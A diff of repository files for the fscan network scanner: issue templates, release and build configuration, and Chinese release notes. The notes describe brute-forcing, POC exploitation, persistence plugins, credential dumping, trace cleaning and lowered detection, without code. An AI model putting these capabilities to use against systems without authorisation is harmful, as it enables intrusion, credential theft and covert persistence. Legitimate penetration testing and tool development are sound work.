- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 功能类别
|
||||
options:
|
||||
- 新扫描能力 (New Scan Capability)
|
||||
- 性能优化 (Performance)
|
||||
- 用户体验 (UX/CLI)
|
||||
- 输出格式 (Output Format)
|
||||
- 配置选项 (Configuration)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 集成/API (Integration/API)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: 解决什么问题?
|
||||
description: 描述您的实际使用场景和痛点
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: solution
|
||||
attributes:
|
||||
label: 期望的解决方案
|
||||
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: 替代方案(可选)
|
||||
description: 您目前的变通方法,或考虑过的其他方案
|
||||
|
||||
- type: dropdown
|
||||
id: priority
|
||||
attributes:
|
||||
label: 优先级建议
|
||||
description: 您认为这个功能的重要程度
|
||||
options:
|
||||
- 高 - 核心场景缺失,严重影响使用
|
||||
- 中 - 明显改善体验
|
||||
- 低 - 锦上添花
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个功能并提交 PR
|
||||
@@ -0,0 +1,71 @@
|
||||
name: 🔌 新插件/协议支持
|
||||
description: 请求支持新的服务、协议或漏洞检测
|
||||
title: "[Plugin] "
|
||||
labels: ["plugin", "enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 请求类型
|
||||
options:
|
||||
- 新服务/协议支持 (New Service)
|
||||
- 新弱口令检测 (New Brute Force)
|
||||
- 新漏洞 POC (New POC)
|
||||
- 新指纹识别 (New Fingerprint)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: service
|
||||
attributes:
|
||||
label: 服务/协议名称
|
||||
description: 例如 ClickHouse、etcd、Consul、Zookeeper
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: port
|
||||
attributes:
|
||||
label: 默认端口
|
||||
description: 例如 9000、2379、8500
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 服务描述与检测思路
|
||||
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reference
|
||||
attributes:
|
||||
label: 参考资料(可选)
|
||||
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
|
||||
|
||||
- type: dropdown
|
||||
id: prevalence
|
||||
attributes:
|
||||
label: 内网常见程度
|
||||
options:
|
||||
- 非常常见(企业环境标配)
|
||||
- 较为常见(经常遇到)
|
||||
- 偶尔遇到
|
||||
- 较少见但高价值
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个插件并提交 PR
|
||||
- label: 我可以提供测试环境
|
||||
@@ -0,0 +1,61 @@
|
||||
# 发版流程
|
||||
|
||||
## 预检查
|
||||
|
||||
```bash
|
||||
# 1. 确认 CI 通过
|
||||
gh run list --branch dev --limit 3
|
||||
|
||||
# 2. 全平台 dry-run(手动触发 snapshot 模式)
|
||||
gh workflow run release.yml -f snapshot=true
|
||||
|
||||
# 3. 确认版本号一致
|
||||
grep "version" common/globals.go
|
||||
grep "版本" README.md
|
||||
grep "Version" README_EN.md
|
||||
```
|
||||
|
||||
## 发版
|
||||
|
||||
```bash
|
||||
# 1. 确认 release notes 已就绪
|
||||
cat .github/release-notes/v<VERSION>.md
|
||||
|
||||
# 2. 打 tag(RC 手动打;正式版合并到 main 后由 CI 自动打 tag)
|
||||
git tag v<VERSION>
|
||||
git push origin v<VERSION>
|
||||
|
||||
# CI 自动执行:
|
||||
# - goreleaser 全平台构建 + UPX 压缩
|
||||
# - 创建 GitHub Release(RC 自动标记 pre-release)
|
||||
# - 用 .github/release-notes/ 下的文件覆盖 release body
|
||||
```
|
||||
|
||||
## 版本号规范
|
||||
|
||||
| 场景 | 格式 | 分支 | 示例 |
|
||||
|------|------|------|------|
|
||||
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
|
||||
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
|
||||
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
|
||||
|
||||
## Release Notes 模板
|
||||
|
||||
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`。
|
||||
|
||||
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
|
||||
|
||||
## 正式版发布(RC → 正式)
|
||||
|
||||
```bash
|
||||
# 1. 在 dev 分支准备正式版内容
|
||||
# common/globals.go, README.md, README_EN.md
|
||||
# .github/release-notes/v2.2.0.md
|
||||
|
||||
# 2. 创建 dev -> main PR
|
||||
gh pr create --base main --head dev
|
||||
|
||||
# 3. 合并 PR
|
||||
# main push 会自动读取 common/globals.go 中的版本号,创建 v<VERSION> tag
|
||||
# tag push 会触发 GoReleaser 构建并创建 GitHub Release
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
name: '构建和发布'
|
||||
description: 'fscan 可复用构建动作'
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: '构建模式: release 或 snapshot'
|
||||
required: true
|
||||
default: 'snapshot'
|
||||
go-version:
|
||||
description: 'Go 版本'
|
||||
required: false
|
||||
default: '1.20'
|
||||
retention-days:
|
||||
description: '产物保留天数'
|
||||
required: false
|
||||
default: '7'
|
||||
release-args:
|
||||
description: '额外的 goreleaser 参数'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
runs:
|
||||
using: 'composite'
|
||||
steps:
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: true
|
||||
|
||||
|
||||
- name: 下载依赖
|
||||
shell: bash
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 安装 UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: 使用 GoReleaser 构建
|
||||
uses: goreleaser/goreleaser-action@v6
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
|
||||
- name: 上传产物
|
||||
uses: actions/upload-artifact@v4
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
if: always()
|
||||
with:
|
||||
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||
path: dist/
|
||||
retention-days: ${{ inputs.retention-days }}
|
||||
|
||||
- name: 生成报告
|
||||
shell: bash
|
||||
if: always()
|
||||
run: |
|
||||
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||
# 构建报告
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 模式 | \`${{ inputs.mode }}\` |
|
||||
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||
| Go | \`$(go version | awk '{print $3}')\` |
|
||||
|
||||
## 构建产物
|
||||
|
||||
$(if [ -d "dist" ]; then
|
||||
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||
EOF
|
||||
@@ -0,0 +1,246 @@
|
||||
version: 2
|
||||
|
||||
project_name: "fscan"
|
||||
|
||||
before:
|
||||
hooks:
|
||||
- go mod tidy
|
||||
- go mod download
|
||||
|
||||
builds:
|
||||
# 标准版 - 全部插件(全架构)
|
||||
- id: fscan
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# 无本地插件版 - 排除本地模块(全架构)
|
||||
- id: fscan-nolocal
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
tags: [no_local]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# WebUI版 - 主流平台即可
|
||||
- id: fscan-web
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, arm64, "386"]
|
||||
goarm: ["7"]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
flags: [-trimpath]
|
||||
tags: [web]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
upx:
|
||||
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||
enabled: true
|
||||
goos: [windows, linux]
|
||||
goarch: [amd64, "386", arm64]
|
||||
compress: "6"
|
||||
brute: false
|
||||
lzma: false
|
||||
|
||||
archives:
|
||||
# 标准版归档
|
||||
- id: fscan
|
||||
ids: [fscan]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# 无本地插件版归档
|
||||
- id: fscan-nolocal
|
||||
ids: [fscan-nolocal]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-nolocal_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# WebUI版归档
|
||||
- id: fscan-web
|
||||
ids: [fscan-web]
|
||||
formats: [binary]
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-web_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
checksum:
|
||||
name_template: 'checksums.txt'
|
||||
algorithm: sha256
|
||||
|
||||
changelog:
|
||||
sort: asc
|
||||
use: github
|
||||
filters:
|
||||
exclude:
|
||||
- "^(docs|test|ci|chore):"
|
||||
- "Merge (pull request|branch)"
|
||||
groups:
|
||||
- title: "🚀 新功能"
|
||||
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||
order: 0
|
||||
- title: "🐛 问题修复"
|
||||
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||
order: 1
|
||||
- title: "🔧 其他改进"
|
||||
order: 999
|
||||
|
||||
release:
|
||||
github:
|
||||
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||
name: "{{ .Env.GITHUB_REPO }}"
|
||||
draft: false
|
||||
prerelease: auto
|
||||
mode: replace
|
||||
header: |
|
||||
## {{ .ProjectName }} {{ .Tag }}
|
||||
|
||||
感谢使用 {{ .ProjectName }}!
|
||||
|
||||
### 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||
|
||||
### 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||
| Solaris | x64 |
|
||||
footer: |
|
||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||
|
||||
snapshot:
|
||||
version_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||
|
||||
metadata:
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
@@ -0,0 +1,117 @@
|
||||
# fscan v2.2.0-rc.1
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.2.0-rc 的变更
|
||||
|
||||
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
|
||||
|
||||
---
|
||||
|
||||
### 🚀 新功能
|
||||
|
||||
#### 自适应并发调度
|
||||
|
||||
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
|
||||
|
||||
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
|
||||
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
|
||||
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
|
||||
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
|
||||
|
||||
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
|
||||
|
||||
#### 协议级超时下限(ModuleTimeout)
|
||||
|
||||
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
|
||||
|
||||
#### 限流错误分类(ErrorTypeThrottle)
|
||||
|
||||
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
|
||||
|
||||
#### Web 版独立入口
|
||||
|
||||
- 拆分 `main.go` 为 `main_cli.go` 和 `main_web.go`
|
||||
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO)
|
||||
|
||||
---
|
||||
|
||||
### 🐛 Bug 修复
|
||||
|
||||
#### 插件调度(#586 #587 #588)
|
||||
|
||||
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
|
||||
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
|
||||
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
|
||||
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
|
||||
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
|
||||
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
|
||||
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
|
||||
|
||||
#### UDP 插件
|
||||
|
||||
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
|
||||
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
|
||||
|
||||
#### SSH
|
||||
|
||||
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 context,context 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
|
||||
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
|
||||
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
|
||||
|
||||
#### Redis
|
||||
|
||||
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
|
||||
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
|
||||
|
||||
#### POC 引擎
|
||||
|
||||
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
|
||||
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
|
||||
- **CEL wait() 函数 nil Reverse 指针 panic**
|
||||
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
|
||||
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
|
||||
|
||||
#### 参数与输出
|
||||
|
||||
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
|
||||
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
|
||||
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
|
||||
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
|
||||
- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
|
||||
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
|
||||
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
|
||||
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
|
||||
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
|
||||
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
|
||||
|
||||
#### 其他
|
||||
|
||||
- **service_probe 连接丢失后静默成功** — `Write`/`Read` 在 `Conn=nil` 时返回明确错误
|
||||
- **MongoDB readMongoMsg 未设置读超时**
|
||||
- **TXTWriter.Close Sync 失败后未关闭文件**
|
||||
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
|
||||
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
|
||||
|
||||
---
|
||||
|
||||
### 🏗️ 架构优化
|
||||
|
||||
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
|
||||
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
|
||||
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
|
||||
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
|
||||
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
@@ -0,0 +1,106 @@
|
||||
# fscan v2.2.0-rc
|
||||
|
||||
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||
|
||||
---
|
||||
|
||||
## 与 v2.1.3 的主要变更
|
||||
|
||||
### 🏗️ 架构升级:嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
|
||||
|
||||
- 支持从其他 Go 程序直接调用 fscan 扫描能力
|
||||
- 每个 Scanner 实例拥有独立的 config/state/session
|
||||
- 支持多实例并发扫描,日志和结果完全隔离
|
||||
- 全局状态已完整迁移到 session 实例
|
||||
|
||||
### 🚀 大规模扫描支持
|
||||
|
||||
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
|
||||
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
|
||||
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
|
||||
|
||||
### 🔌 新增协议插件(+9)
|
||||
|
||||
| 插件 | 用途 |
|
||||
|------|------|
|
||||
| IMAP / POP3 | 邮件服务器检测 |
|
||||
| JDWP | Java Debug 端口检测 |
|
||||
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||
| IPMI | 服务器带外管理 |
|
||||
| SNMP (UDP) | 网络设备管理 |
|
||||
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
|
||||
|
||||
全部为**原生协议实现**,零外部依赖。
|
||||
|
||||
### ⚡ 性能与体积优化
|
||||
|
||||
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
|
||||
- 热路径零分配、自适应连接池 CAS 无锁化
|
||||
- Scanner 客户端指纹收敛(降低被检测概率)
|
||||
|
||||
### 🌐 网络能力增强
|
||||
|
||||
- **SOCKS5 代理认证**支持(用户名/密码)
|
||||
- **国密 TLS**(SM2/SM3/SM4)网站扫描
|
||||
- 支持 `-add-password` 追加多个自定义密码
|
||||
|
||||
### 🔧 本地后渗透插件
|
||||
|
||||
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask)
|
||||
- minidump 降级链凭据提取 + 杀软前置检测
|
||||
- cleaner 清理所有持久化痕迹
|
||||
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo)
|
||||
|
||||
### 📦 工程改进
|
||||
|
||||
- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/`
|
||||
- i18n 覆盖扩展(中/英双语)
|
||||
- 全量 lint/errcheck 修复
|
||||
- 补充大量单元测试
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 已知问题 / 注意事项
|
||||
|
||||
| 问题 | 说明 |
|
||||
|------|------|
|
||||
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
|
||||
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
|
||||
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
|
||||
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
|
||||
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
|
||||
|
||||
---
|
||||
|
||||
## 反馈与贡献
|
||||
|
||||
这是一个 RC 版本,我们非常需要你的反馈:
|
||||
|
||||
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||
|
||||
---
|
||||
|
||||
## 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
|
||||
|
||||
## 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64 (Intel), arm64 (Apple Silicon) |
|
||||
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||
| Solaris | X64n |
|
||||
@@ -0,0 +1,129 @@
|
||||
# fscan v2.2.0
|
||||
|
||||
v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Issue 反馈整理发布。
|
||||
|
||||
本版本重点提升大规模扫描稳定性、POC 扫描可靠性、非标准端口服务识别、插件隔离和嵌入式 SDK 能力。
|
||||
|
||||
---
|
||||
|
||||
## 重点变化
|
||||
|
||||
### 嵌入式 Scanner SDK
|
||||
|
||||
新增 `pkg/fscan`,fscan 从纯 CLI 工具扩展为可嵌入的 Go 扫描引擎:
|
||||
|
||||
- 支持在 Go 程序内直接调用扫描能力
|
||||
- Scanner 实例拥有独立 `config` / `state` / `session`
|
||||
- 全局状态迁移到 session,改善多实例并发隔离
|
||||
- 补充 SDK 结果转换、配置校验和并发扫描测试
|
||||
|
||||
### 大规模扫描稳定性
|
||||
|
||||
- 新增流式 Host Iterator,大 CIDR 不再一次性展开到内存
